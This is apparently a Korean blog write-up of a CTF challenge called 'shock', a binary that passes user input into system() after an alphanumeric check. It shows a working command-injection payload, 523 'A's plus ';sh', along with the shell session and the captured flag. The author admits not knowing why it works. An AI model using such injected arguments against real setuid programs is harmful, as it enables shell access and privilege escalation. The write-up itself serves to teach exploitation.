다음과 같은 바이너리가 주어집니다.

shock


바이너리를 분석해보면 argv[1]로 입력받은 캐릭터를 일련의 검사를 거친 뒤 "id"와 string concatenation을 한 뒤 system함수에 인자로 집어넣는 것을 볼 수 있습니다.

환경변수 PATH를 건드려서 id가 /usr/bin/id대신 임의의 프로그램을 실행하도록 해주면 간단하나, strcpy하기 전에 환경변수를 모두 초기화해버립니다.

strcat에서 취약점이 생기는데, canary가 있어서 exploit하기는 힘들어보입니다.

";sh"같은 문자열을 넣어 system함수에 injection을 시도했으나, 되지 않았습니다.

그래서 __ctype_b_loc()부분을 자세히 디버깅해보았습니다. 그렇게 알아낸 사실은, 입력받은 문자열을 하나씩 돌면서 __ctype_b_loc() 테이블을 기준으로 값을 v3에 넣는데, v3가 0-9,a-z,A-Z일 때만 v3&8이 0이 아니였습니다.

alphanumeric value만 v3&8을 했을 때 0이 아님

이렇게 code injection도 물거품이 되는 듯 했습니다.


그렇게 공격을 하던 중, 이상한 점을 발견했습니다. 바로 ./shock `python -c 'print "A"*700'`따위를 입력하면 stack smashing이 detect되지 않고 Segmentation fault만 뜨는 것을 확인했습니다.

gdb로 확인해보니, strlen함수에서 Segmentation fault가 나더군요.

그래서 Segmentation fault가 뜨는 지점과 stack smashing이 뜨는 지점을 찾으려고 시도하다가 다음과 같이 명령어를 입력했더니 shell이 떴습니다.

systemshock@ip-172-31-3-97:~$ ./shock `python -c 'print "A"*523+";sh"'`
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
$ ls
flag shock
$ cat flag
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
$ exit

정확한 원리는 아직 잘 모르겠네요.


[+] 대회 후기

이 문제를 대회 시작하고 3시간이 되어갈때 쯤 풀고, 그 뒤론 1번(owlur)과 3번(guesspw)만 계속 쥐고 있었는데

결국엔 둘 다 못 풀고 이 문제밖에 못 풀었네요ㅜㅜ

그냥 pwnable을 건드리는게 어땠을까 하는 아쉬움이 남습니다.

공부 열심히 해야겠어요!

+ Recent posts